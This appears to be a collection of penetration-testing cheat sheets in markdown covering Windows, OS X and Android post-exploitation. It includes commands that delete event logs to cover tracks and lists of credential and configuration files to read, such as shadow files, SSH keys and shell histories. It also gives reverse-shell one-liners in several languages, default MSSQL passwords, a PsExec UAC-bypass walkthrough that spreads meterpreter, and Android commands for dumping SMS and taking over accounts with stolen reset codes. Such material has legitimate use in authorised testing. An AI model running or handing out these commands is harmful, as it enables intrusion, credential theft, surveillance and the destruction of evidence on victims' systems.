17 | | `%WINDIR%\system32\config\AppEvent.Evt` `%WINDIR%\system32\config\SecEvent.Evt` | Windows Event Logs. |
18 | | `%WINDIR%\system32\config\default.sav` `%WINDIR%\system32\config\security.sav` `%WINDIR%\system32\config\software.sav` `%WINDIR%\system32\config\system.sav` | Backup Windows registry files (http://forensics.wikia.com/wiki/Windows_registry_entries) |
19 | | `%WINDIR%\system32\logfiles\httperr\httperr1.log` | IIS 6.x web server error logs. |
20 | | `%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log` where YYMMDD = year month day | Web server log files. |
21 | | `unattend.txt, unattend.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. |
--------------------------------------------------------------------------------
/windows/cover.md:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 | # Windows Covering Tracks Commands
13 |
14 | Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15 |
16 | ## del
17 | ### Delete Logs
18 | * **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f`
19 | * **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory.
20 | * **Output**:
21 | * NA
22 |
23 | ----
24 |
25 | ## wevtutil
26 | ### List Logs
27 | * **Command with arguments**: `wevutil el`
28 | * **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx
29 | * **Output**:
30 | *
69 |
70 | ### Clear Logs
71 | * **Command with arguments**: `wevtutil cl [LOGNAME]`
72 | * **Description**: **MUST be run as an administrator**. Clears the contents of a specific log.
73 | * **Output**:
74 | *
28 | ----
29 |
30 | ## find
31 | * **Command with arguments**: `[somecommand] \| find /c /v ”[searchstring]”`
32 | * **Description**: Counts the number of times the [searchstring] is found in the output of [somecommand].
33 | * **Output**:
34 | *
36 | ----
37 |
38 | ## tree
39 | * **Command with arguments**: `tree C:\ /f /a > C:\output_of_tree.txt`
40 | * **Description**: Prints a directory listing in tree format. The `/a` makes the tree printed with ASCII characters instead of special ones and the `/f` displays file names as well as folders.
41 | * **Output**:
42 | *
43 |
--------------------------------------------------------------------------------
/osx/bulk.md:
--------------------------------------------------------------------------------
1 |
2 | # OS X Google Doc Content #
3 |
4 | The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.
5 |
6 | ----
7 |
8 | ## Blind Files
9 | (things to pull when all you can do is blindly read) LFI/dir traversal
10 | /etc/resolv.conf (everyone always has read on this and it wont trigger an IDS)
11 |
12 | ## System
13 | uname -a
14 | ps aux
15 | ps -aef
16 | id
17 | arch
18 | w
19 | who -a
20 | gcc -v
21 | mysql --version
22 | perl -v
23 | ruby -v
24 | python --version
25 | df -k
26 | mount
27 | last -a
28 | lastlogin (*bsd)
29 | getenforce <- does not work on Lion no idea if this work in previous versions
30 | dmesg
31 | lsusb<- does not work on Lion no idea it this work on previous versions
32 | lshw <- does not work on Lion no idea it this work on previous versions
33 | free -m <- does not work on Lion no idea it this work on previous versions
34 | du -h --max-depth=1 /
35 | which nmap (see if it's already installed)
36 | locate bin/nmap
37 | which nc (see if it's already installed)
38 | locate bin/
39 | whoami
40 | jps -l
41 | java -version
42 |
43 | ## Networking
44 | hostname -f
45 | ip addr show
46 | ifconfig -a
47 | route -n
48 | cat /etc/network/interfaces
49 | iptables -L -n
50 | netstat -anop
51 | netstat -r
52 | netstat -nltupw (root with raw sockets)
53 | arp -a
54 | lsof -nPi
55 |
56 | ## Configs
57 | ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
58 | cat /etc/issue{,.net}
59 | cat /etc/passwd
60 | cat /etc/shadow (gotta try..)
61 | cat /etc/shadow~ # (sometimes there when edited with gedit)
62 | cat /etc/master.passwd
63 | cat /etc/group
64 | cat /etc/hosts
65 | cat /etc/crontab
66 | cat /etc/sysctl.conf
67 | for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
68 | cat /etc/resolv.conf
69 | cat /etc/samba/smb.conf
70 | pdbedit -L -w
71 | pdbedit -L -v
72 | cat /etc/exports
73 | cat /etc/auto.master
74 | cat /etc/auto_maste
75 | cat /etc/fstab
76 | cat /etc/exports
77 | find /etc/sysconfig/ -type f -exec cat {} \;
78 | cat /etc/sudoers
79 |
80 | ## Package Sources
81 | cat /etc/apt/sources.list
82 | ls -l /etc/yum.repos.d/
83 | cat /etc/yum.conf
84 |
85 | ## Finding Important Files
86 | find /var/log -type f -exec ls -la {} \;
87 | ls -alhtr /mnt
88 | ls -alhtr /Volumes
89 | ls -alhtr /tmp
90 | ls -alhtr /home
91 | ls /Users/*/.ssh/*
92 | find /home -type f -iname '.*history'
93 | ls -lart /etc/rc.d/
94 | locate tar | grep [.]tar$
95 | locate tgz | grep [.]tgz$
96 | locate sql l grep [.]sql$
97 | locate settings | grep [.]php$
98 | locate config.inc | grep [.]php$
99 | ls /Users/*/id*
100 | locate .properties | grep [.]properties # java config files
101 | locate .xml | grep [.]xml # java/.net config files
102 | find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm -4000 # find suids
103 |
104 | ## Per User
105 | ls -alh /Users/*/
106 | ls -alh /Users/*/.ssh/
107 | cat /Users/*/.ssh/authorized_keys
108 | cat /Users/*/.ssh/known_hosts
109 | cat /Users/*/.*hist*
110 | find -type f /Users/*/.vnc /Users/*/.subversion
111 | grep ^ssh /Users/*/.*hist*
112 | grep ^telnet `/Users/*/.*hist*
113 | grep ^mysql /Users/*/.*hist*
114 | cat /Users/*/.viminfo
115 | sudo -l # if sudoers is not readable, this sometimes works per user
116 | crontab -l
117 |
118 | ## Priv (sudo'd or as root)
119 | ls -alh /root/
120 | cat /etc/sudoers
121 | cat /etc/shadow
122 | cat /etc/master.passwd # OpenBSD
123 | cat /var/spool/cron/crontabs/*
124 | lsof -nPi
125 | ls /Users/*/.ssh/*
126 |
127 | ## Reverse Shell
128 | starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
129 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 # No /dev/tcp on Mac OS X
130 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
131 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
132 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
133 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
134 | nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
135 | rm /tmp/;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
136 | xterm -display 10.0.0.1:1
137 | Listener- Xnest :1
138 | Add permission to connect- xhost +victimIPf
139 |
--------------------------------------------------------------------------------
/windows/mssql.md:
--------------------------------------------------------------------------------
1 | # MSSQL Instance Defaults
2 |
3 |
4 | MSSQL Defaults
5 | ----------
6 |
7 | [Internet MSSQL Instances](references/internet_mssql.txt)
8 |
9 | Common:
10 |
11 | * sa/sa
12 | * sa/\
13 | * sa/SQL
14 |
15 | Default MSSQL Instance names: SQLEXPRESS, MSSQLSERVER
16 |
17 | Instances
18 | ---------
19 |
20 | - - - -
21 |
22 | **Instance**: SALESLOGIX
23 |
24 | **Software**: http://www.saleslogix.com/
25 |
26 | * sa/SLXMaster
27 | * sa/SLXMa$t3r
28 |
29 | - - - -
30 |
31 | **Instance**: CITADEL
32 |
33 | **Software**: http://www.ni.com/labview/
34 |
35 | * sa password is generated by "generateComputerId.exe" at install time. Available in their trail installer. Haven't been able to reverse engineer this into figuring out what variables result in the password, but it is the same when installed to the same machine twice.
36 |
37 | - - - -
38 |
39 | **Instance**: ACT7
40 |
41 | **Software**: http://www.act.com/
42 |
43 | * sa/sage
44 |
45 | - - - -
46 |
47 | **Instance**: BKUPEXEC
48 |
49 | **Software**: http://www.symantec.com/products/data-backup-software
50 |
51 | * sa/\
52 |
53 | - - - -
54 |
55 | **Instance**: CSSQL05
56 |
57 | **Software**: http://www.cambridgesoft.com/solutions/details/?fid=175
58 |
59 | * ELNAdmin/ELNAdmin
60 | * sa/CambridgeSoft_SA
61 |
62 | - - - -
63 |
64 | **Instance**: ESCANSQLSERVER
65 |
66 | **Software**: http://www.escanav.com/english/
67 |
68 | * SA Password can be found `HKLM\Software\Microworld\eScan for Windows\Webconsole`. I don't have a copy to be able to get the default
69 |
70 | - - - -
71 |
72 | **Instance**: COMMVAULT
73 |
74 | **Software**: http://www.commvault.com/simpana-software
75 |
76 | * Default username is many times: admin
77 | * Password is set at install, but many people do single sign on with a local admin account on the box.
78 |
79 | - - - -
80 |
81 | **Instance**: INSERTGT
82 |
83 | **Software**:
84 |
85 | * Default Found: http://www.solutionoferror.com/java/sql-server-2008-r2-connection-error-android-254573.asp
86 | * msi/keyboa5
87 | * sa/\
88 |
89 | - - - -
90 |
91 | **Instance**: VIDEOOSDB
92 |
93 | **Software**: http://forum.milestonesys.com/yaf_topics54_XProtect-Essential.aspx
94 |
95 | - - - -
96 |
97 | **Instance**: IMPERVA
98 |
99 | **Software**: http://www.imperva.com/products/wsc_web-application-firewall.html
100 |
101 | * Default database username: secure
102 | * Password if left as default is a 8 character starting with the word "secure", this is reset many times when techs fix the software as well. Default database type is Oracle.
103 |
104 | - - - -
105 |
106 | **Instance**: RTCLOCAL
107 |
108 | **Software**: http://blog.insidelync.com/2011/04/the-lync-server-databases/
109 |
110 | * sa/mypassword
111 | * Reference: http://www.kaplansoft.com/tekivr/TekIVR-Lync.pdf
112 |
113 | - - - -
114 |
115 | **Instance**: SBSMONITORING
116 |
117 | **Software**: Windows Small Business Server
118 |
119 | * sa acount disabled by default
120 | * Reference: http://social.technet.microsoft.com/Forums/en-US/a05d3bac-796e-4746-8c82-48da23d52549/what-is-the-default-password-for-sa-account-in-windows-sbs-2011-standard?forum=smallbusinessserver
121 |
122 | - - - -
123 |
124 | **Instance**: PCAMERICA
125 |
126 | **Software**: PC America Restaurant Pro Express
127 |
128 | * sa/PCAmerica
129 | * Reference: http://www.fixya.com/support/t3995856-restaurant_pro_express_client
130 | * sa/pcAmer1ca
131 | * Reference: http://www.njsolutions.net/pcamerica-faqs/61-sql-server-manual-install
132 |
133 | - - - -
134 |
135 | **Instance**: VSDOTNET
136 |
137 | **Software**: visual studio .net
138 |
139 | * sa/\
140 | * Reference: http://ptijira.dyndns.org:8090/display/ClearDentKB/Login+failed+user+%27sa%27.+The+user+is+not+associated+with+a+trusted+SQL+Server+Connection
141 |
142 | - - - -
143 |
144 | **Instance**: ACT7
145 |
146 | **Software**: Act7
147 |
148 | * sa/randomized after install
149 | * Refef: http://community.act.com/t5/Act-Premium/ACT-Premium-2008-sa-password/td-p/1710
150 |
151 | forum mentions: "ActbySage1!" as a password
152 |
153 | - - - -
154 |
155 | **Instance**: HPDSS
156 |
157 | **Software**: HP MFP Digital Sending Software
158 |
159 | * sa/Hpdsdb000001
160 | * sa/hpdss
161 | * Reference: http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?sp4ts.oid=5076216&spf_p.tpst=kbDocDisplay&spf_p.prp_kbDocDisplay=wsrp-navigationalState%3DdocId%253Demr_na-c02712353-3%257CdocLocale%253D%257CcalledBy%253D&javax.portlet.begCacheTok=com.vignette.cachetoken&javax.portlet.endCacheTok=com.vignette.cachetoken
162 |
163 | - - - -
164 |
165 | **Instance**: MYMOVIES
166 |
167 | **Software**: My Movies
168 |
169 | * sa/t9AranuHA7
170 | * Reference: http://www.mymovies.dk/forum.aspx?g=posts&t=24514
171 |
172 | - - - -
173 |
174 | **Instance**: CODEPAL / CODEAPL08
175 |
176 | **Software**:
177 |
178 | * sa/Cod3p@l
179 | * Reference: http://codepalinspections.net/CPO%20Setup%20On%20Alien%20Servers.txt
180 |
181 | - - - -
182 |
183 | **Instance**: VSQL
184 |
185 | **Software**:
186 |
187 | * sa/111
188 | * Reference: http://www.integraxor.com/forum/viewtopic.php?f=2&t=75&start=10
189 |
190 | - - - -
191 |
192 | **Instance**: EASYSHIP / DHLEASYSHIP
193 |
194 | **Sofware**:
195 |
196 | * sa/DHLadmin@1
197 | * Reference: http://rayotter.com/dhl/HTA/Create_Shipper_and_Defaults.hta.txt
198 |
199 | - - - -
200 |
201 | **Instance**: SQLEXP_VIM
202 |
203 | **Software**: http://www.vmware.com/products/vcenter-server/
204 |
205 | * No default username/password. Usually Active Directory-based login.
206 |
207 | - - - -
208 |
209 | **Instance**: VEEAMSQL2008R2
210 |
211 | **Software**: http://www.veeam.com/vm-backup-recovery-replication-software.html?ad=menu
212 |
213 | * No default username/password. Usually Active Directory-based login.
214 |
215 | - - - -
216 |
217 | **Instance**: Unknown
218 |
219 | **Software**: Siemens Simatic WinCC
220 |
221 | * WinCCConnect/2WSXcder
222 | * WinCCAdmin/2WSXcde.
223 | * Reference: http://scadastrangelove.blogspot.com/2012/07/wincc-default-password-7-years-long.html
--------------------------------------------------------------------------------
/windows/uac.md:
--------------------------------------------------------------------------------
1 | # UAC Bypassing
2 |
3 | ### PsExec.exe method
4 |
5 | For this example, lets just assume that you have gotten a meterpreter shell on a box. For the purposes of this demonstration, this box will be called Box0. Box0 is not a very kind soul though, and as thus although you have an admin shell on it, the UAC is preventing you from dumping the hashes of the system. You would like to upgrade this shell, but alas, the box is running Windows Vista with UAC, which is getting in the way of you escalating your privileges. Furthermore, the box appears to be patched and up to date, so you can't take advantage of any local OS or application exploits to gain privileges. So what can we do?
6 |
7 | For starters we can turn to PsExec. PsExec will allow us to run commands against a remote machine, and comes with a handly little option, -h.
8 |
9 | ```
10 | -h If the target system is Vista or higher, has the process
11 | run with the account's elevated token, if available.
12 | ```
13 |
14 | Seems handy for what were planning to do. Before we dive in though, I want to quickly note that the way UAC works for an admin user is that there is a normal token that is used for everyday activities and then there is a elevated privileges token that is used for special activities. This is why although we can't dump the hashes just yet, we have the normal admin token, but not the elevated one we need. Keep in mind that various boxes thoughtout the network may have either of these tokens, but only the elevated one will grant the privileges that we want, allowing us to do hash dumping and other fun stuff :)
15 |
16 | Continuing on, the first step that we want to do is upload a copy of PsExec.exe and an encoded copy of a malicious meterepreter exe (see the Veil project for details on how to do this) up to the server. To do this, we could do:
17 |
18 | ```
19 | upload *path to meterpreter exe* \\users\\*target user here*\\metpr.exe
20 | upload *path to PsExec.exe* \\users\\*target user here*\\PsExec.exe
21 | ```
22 |
23 | The next step to do is to gather a list of target IP addresses that you would like to try using your exploited user's authentication credentials against. Once you have done this, save it to a file (targets.txt in our example) and upload it to Box0.
24 |
25 | ```
26 | upload *path to targets.txt* \\users\\*target user here*\\targets.txt
27 | ```
28 |
29 | We then can run PsExec.exe as follows:
30 |
31 | ```
32 | PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe
33 | ```
34 |
35 | I'll breifly explain the options. "-accepteula" sets the appropriate flag in the registry to make sure that the EULA agreement notification does not randomly pop up on the exploited user's machine. "-c" makes sure that we copy our meterpreter exe (metpr.exe) across to any system where the credentials work, whilst "-f" makes sure we overwrite the file if it already exists. "-h" is the important option here, which will run the meterpreter payload on any machine where the credentials works with the elevated token if the account on that machine has a elevated token attached to it (see PsExec output above). Finally, "-d" will make sure we don't wait for termination (run in background).
36 |
37 | Now provided this command runs and we end up uploading and executing the meterpreter payload on a target in our targets.txt file that has admin rights, 2 things will happen. First off, we will not need to worry about credentials as if the user we are authenticating to on the remote machine is an admin (aka the user we compromised is admin on the remote machine), then the credentials for our compromized user will automatically be passed on to the remote machine, thus giving us access to the admin user on that machine without us needing to know the password. Secondly, if the user that we compromised is an admin on this machine, when the meterpreter exe executes, it will bypass the UAC, running instead as the priviledged admin user (it will use the elevated privileges token tied to that account). At this point, we now have a elevated shell on the second box, which we shall call Box1 for the rest of this document (this is after we do a getsystem on Box1 to elevate our privileges (which we can now do as we have the elevated privileges token we didn't have before)).
38 |
39 | We do have a slight problem though. Due to something called the double hop issue (http://support.microsoft.com/default.aspx?scid=kb;en-us;329986) we can't actually use the elevated privileges on Box1 to pass on the elevated privileges to Box0. This is because you can't pass resources more than 1 hop. In our example the first hop is from Box0 to Box1, and the second hop is Box1 to Box0. If we were to try doing this, we would end up trying to authenticate as the NTAUTHORITY\ANONYMOUS user as we would only have the secondary token to Box0, not the primary one (elevated privileges) that we need. The only way we could get around this is if we knew the password for the client on Box0, at which point we could then elevate privileges to the required level. To solve this problem we can use PsLoggedon.exe.
40 |
41 |
42 | - - - - - -
43 |
44 | ### PsLoggedon.exe
45 |
46 | - - - - - -
47 |
48 | We now need to find another host where our user is running with a primary token so that we can escalate privileges on Box0. To do this, we will use PsLoggedon.exe from same PsTools suite that PsExec.exe comes from. Taking the targets.txt file that we created, here is the command to pass through the credentials of our currently compromized user and find out where else he/she is logged in:
49 |
50 | ```
51 | for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "*compromized user's name goes here*" >NUL && echo %i
52 | ```
53 |
54 | This will list all of the boxes where our user is logged into. We can then target this box with the PsExec.exe method we used in the last example. Once we have a shell on the new host from that, we can then dump the credentials with Mimikatz if we want. This box will also have a primary key that we can then use to elevate our shell on Box0, thereby bypassing UAC.
55 |
56 | - - - - - -
57 | ### Credits
58 |
59 | All credits for the examples and explanation comes from Tim Medin's post which you can find here: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
60 | The examples are all his work and I take no ownership for them. This article is mearly a rewording of what he has written in my own (tekwizz123's) words.
61 |
62 |
--------------------------------------------------------------------------------
/windows/autostart.md:
--------------------------------------------------------------------------------
1 | ## Windows Autostart Locations
2 | ### Folders
3 | | Location | Operating System |
4 | | -------- | ---------------- |
5 | | `%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\` | Windows NT 6.0, 6.1 |
6 | | `%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\` | Windows 5.0, 5.1, 5.2 |
7 | | `%SystemDrive%\wmiOWS\Start Menu\Programs\StartUp\` | Windows 9x |
8 | | `%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\` | Windows NT 3.50, 3.51, 4.0 |
9 | | `User\Startup\` | |
10 | | `%windir%\Start Menu\Programs\Startup\` | |
11 | | `%windir%\Tasks\` | |
12 | | `%windir%\system\iosubsys\` | |
13 | | `%windir%\system\vmm32\` | |
14 |
15 | ### Files
16 | | Location | Operating System |
17 | | -------- | ---------------- |
18 | | `%windir%\dosstart.bat` | |
19 | | `%windir%\system.ini` - [boot] "scrnsave.exe" | |
20 | | `%windir%\system.ini` - [boot] "shell" | |
21 | | `%windir%\system\autoexec.nt` | |
22 | | `%windir%\system\config.nt` | |
23 | | `%windir%\win.ini` - [windows] "load" | |
24 | | `%windir%\win.ini` - [windows] "run" | |
25 | | `%windir%\wininit.ini` | |
26 | | `%windir%\winstart.bat` | |
27 | | `c:\autoexec.bat` | |
28 | | `c:\config.sys` | |
29 | | `c:\explorer.exe` | |
30 |
31 | ### Registry
32 | | Location | Function |
33 | | -------- | -------- |
34 | | `%windir%\dosstart.bat` | |
35 | | `HKEY_CLASSES_ROOT\batfile\shell\open\command\` | Executed whenever a .BAT file (Batch Command) is run. |
36 | | `HKEY_CLASSES_ROOT\comfile\shell\open\command\` | Executed whenever a .COM file (Command) is run. |
37 | | `HKEY_CLASSES_ROOT\exefile\shell\open\command\` | Executed whenever a .EXE file (Executable) is run. |
38 | | `HKEY_CLASSES_ROOT\jsefile\shell\open\command\` | Executed whenever a .JSE file (Encoded Javascript) is run. |
39 | | `HKEY_CLASSES_ROOT\jsfile\shell\open\command\` | Executed whenever a .JS file (Javascript) is run. |
40 | | `HKEY_CLASSES_ROOT\piffile\shell\open\command\` | Executed whenever a .PIF file (Portable Interchange Format) is run. |
41 | | `HKEY_CLASSES_ROOT\scrfile\shell\open\command\` | Executed whenever a .SCR file (Screen Saver) is run. |
42 | | `HKEY_CLASSES_ROOT\vbefile\shell\open\command\` | Executed whenever a .VBE file (Encoded Visual Basic Script) is run. |
43 | | `HKEY_CLASSES_ROOT\vbsfile\shell\open\command\` | Executed whenever a .VBS file (Visual Basic Script) is run. |
44 | | `HKEY_CLASSES_ROOT\wsffile\shell\open\command\` | Executed whenever a .WSF file (Windows Scripting File) is run. |
45 | | `HKEY_CLASSES_ROOT\wshfile\shell\open\command\` | Executed whenever a .WSH file (Windows Scripting Host) is run. |
46 | | `HKEY_CURRENT_USER\Control Panel\Desktop` | The "SCRNSAVE.EXE" value is monitored. This value is launched when your screen saver activates. |
47 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load` | Executed when the user logs in. |
48 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\run` | Executed when the user logs in. |
49 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
50 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\` | Used only by Setup. Displays a progress dialog box as the keys are run one at a time. |
51 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
52 | | `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` | All values in this key are executed. |
53 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components\` | All subkeys are monitored, with special attention paid to the "StubPath" value in each subkey. |
54 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit` | Executed when a user logs in. |
55 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` | The "Shell" value is monitored. This value is executed after you log in. |
56 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\` | All values in this key are executed. |
57 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\` | Subvalues are executed when Explorer initialises. |
58 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | All values in this key are executed, and then their autostart reference is deleted. |
59 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce\` | All values in this key are executed as services, and then their autostart reference is deleted. |
60 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\` | All values in this key are executed as services. |
61 | | `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\` | Executed by explorer.exe as soon as it has loaded. |
62 | | `HKEY_LOCAL_MACHINE\System\Control\WOW\cmdline` | Executed when a 16-bit Windows executable is executed. |
63 | | `HKEY_LOCAL_MACHINE\System\Control\WOW\wowcmdline` | Executed when a 16-bit DOS application is executed. |
64 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager` | The "BootExecute" value is monitored. Files listed here are Native Applications that are executed before Windows starts. |
65 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic es\VxD\` | All subkeys are monitored, with special attention paid to the "StaticVXD" value in each subkey. |
66 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog\Catalog_En tries\` | Layered Service Providers, executed before user login. |
67 | | `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\` | Services marked to startup automatically are executed before user login. |
68 | | `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\RunOnce\` | Similar to the RunOnce key from HKEY_CURRENT_USER. |
69 | | `HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run\` | Similar to the Run key from HKEY_CURRENT_USER. |
70 |
71 |
72 | ## Windows Operating System Versions
73 | From http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx:
74 |
75 | The following table summarizes the most recent operating system version numbers.
76 |
77 | | Operating system | Version number |
78 | | ---------------- | -------------- |
79 | | Windows 8.1 | 6.3 |
80 | | Windows Server 2012 R2 | 6.3 |
81 | | Windows 8 | 6.2 |
82 | | Windows Server 2012 | 6.2 |
83 | | Windows 7 | 6.1 |
84 | | Windows Server 2008 R2 | 6.1 |
85 | | Windows Server 2008 | 6.0 |
86 | | Windows Vista | 6.0 |
87 | | Windows Server 2003 R2 | 5.2 |
88 | | Windows Server 2003 | 5.2 |
89 | | Windows XP 64-Bit Edition | 5.2 |
90 | | Windows XP | 5.1 |
91 | | Windows 2000 | 5.0 |
92 |
93 | ## References
94 | A large portion of this content came from https://web.archive.org/web/20110203184210/http://www.easy-data.no/Autostart.html
--------------------------------------------------------------------------------
/mobile/android.md:
--------------------------------------------------------------------------------
1 | ## Using meterpreter:
2 | #### Meterpreter shell useful commands for android post-exploitation
3 | | Commands | Functionality |
4 | |:--------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
5 | | `webcam_chat` | This module allows streaming a webcam from a privileged Firefox Javascript shell. |
6 | | `webcam_list` | The ‘webcam_list‘ command when run from the Meterpreter shell, will display currently available web cams on the target host. |
7 | | `webcam_snap` | The ‘webcam_snap’ command grabs a picture from a connected web cam on the target system, and saves it to disc as a JPEG image. By default, the save location is the local current working directory with a randomized filename. |
8 | | `webcam_stream` | The webcam_stream command basically uses the webcam_snap command repeatedly to create the streaming effect. There is no sound. |
9 | | `dump_calllog` | The dump_calllog command retrieves the call log from the Android device. |
10 | | `dump_contacts` | The dump_contacts command allows you to retrieve contacts information form the android device. |
11 | | `dump_sms` | The dump_sms command allows you to retrieve SMS messages. And save them as a text file. |
12 | | `geolocate` | The geolocate commands allows you to locate the phone by retrieving the current lat-long using geolocation. |
13 | | `check_root` | The check_root command detects whether your payload is running as root or not. |
14 | | `upload` | The upload command allows you to upload a file to the remote target. The -r option allows you to do so recursively. |
15 | | `download` | The download command allows you to download a file from the remote target. The -r option allows you to do so recursively. |
16 | | `shell` | The shell command allows you to interact with a shell. |
17 | | `sysinfo` | The sysinfo command shows you basic information about the Android device. |
18 | | `record_mic` | The record_mic command records audio. Good for listening to a phone conversation, as well as other uses. |
19 | | `send_sms` | The send_sms command allows you to send an SMS message. Keep in mind the phone will keep a copy of it, too. |
20 |
21 | Other commands:
22 |
23 |
24 | #### Way to change password of services.
25 | You can recover password for some services (like gmail, twitter and facebook) by receiving SMS message.
26 | First, click "forgot password" and select SMS options. Then use the command `dump_sms` and you will have
27 | verification code. Insert the code and change the password.
28 |
29 |
30 |
31 | ## Other post-exploitation tools
32 | #### Pupy:
33 | Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python. It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.
34 |
35 | #### TheFatRat:
36 | An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection.
37 |
38 | #### Xenotix-APK-Reverser
39 | Xenotix APK Reverser is an OpenSource Android Application Package (APK) decompiler and disassembler powered by dex2jar, baksmali and jd-core Released under Apache License.
40 |
41 | #### DynamoRIO
42 | DynamoRIO is a runtime code manipulation system that supports code transformations on any part of a program, while it executes. DynamoRIO exports an interface for building dynamic tools for a wide variety of uses: program analysis and understanding, profiling, instrumentation, optimization, translation, etc. Unlike many dynamic tool systems, DynamoRIO is not limited to insertion of callouts/trampolines and allows arbitrary modifications to application instructions via a powerful IA-32/AMD64/ARM/AArch64 instruction manipulation library. DynamoRIO provides efficient, transparent, and comprehensive manipulation of unmodified applications running on stock operating systems (Windows, Linux, or Android) and commodity IA-32, AMD64, ARM, and AArch64 hardware.
43 |
44 | We can run DynamoRIO based plugin to detect any post exploitation privilege escalation. E.g., java.lang.Runtime.exec("su") is generally used for getting su privileges using setuid(0) system call. These functions is detected using a global call.
45 |
46 |
47 | ## Methodology
48 | #### Steps
49 | 1. Application Mapping
50 | In this first phase, the focus relies on understanding the application logic and what exactly the application does. This involves some manual test where we do some basic operations such as install the APK on the phone, login and comprehend the functionality of the app.
51 |
52 | 1. Client Attacks
53 | This is one of the most challenging and exciting parts of the pentest assessment. Android apps are packed as an APK, also known as Android Package Kit or Android Application Package. Our mission as Pen testers is to verify how well protected the application has been created and designed against known threat actors.Android Mobile applications are distributed through platforms like Google Play. Since the application is fully installed on the client, it becomes vulnerable to any attacks coming from the client.
54 |
55 | 1. Network Attacks
56 | As we need to identify vulnerabilities in the Client, is also essential to verify how secure is the communication between the Client and the Server by evaluating the traffic. For this purpose, using tools like Attack proxies, evaluating potential SSL issues, and executing Wireshark Data package inspection is an essential part of the assessment.
57 |
58 | 1. Server Attacks
59 | Last but not least, issues at the Server level will impact the security of the application. Insecure implementation such as misconfigurations , vulnerabilities and issues at API or Database level, affect also the security of an application
60 |
61 |
62 | # Refernce:
63 | ### android shell command:
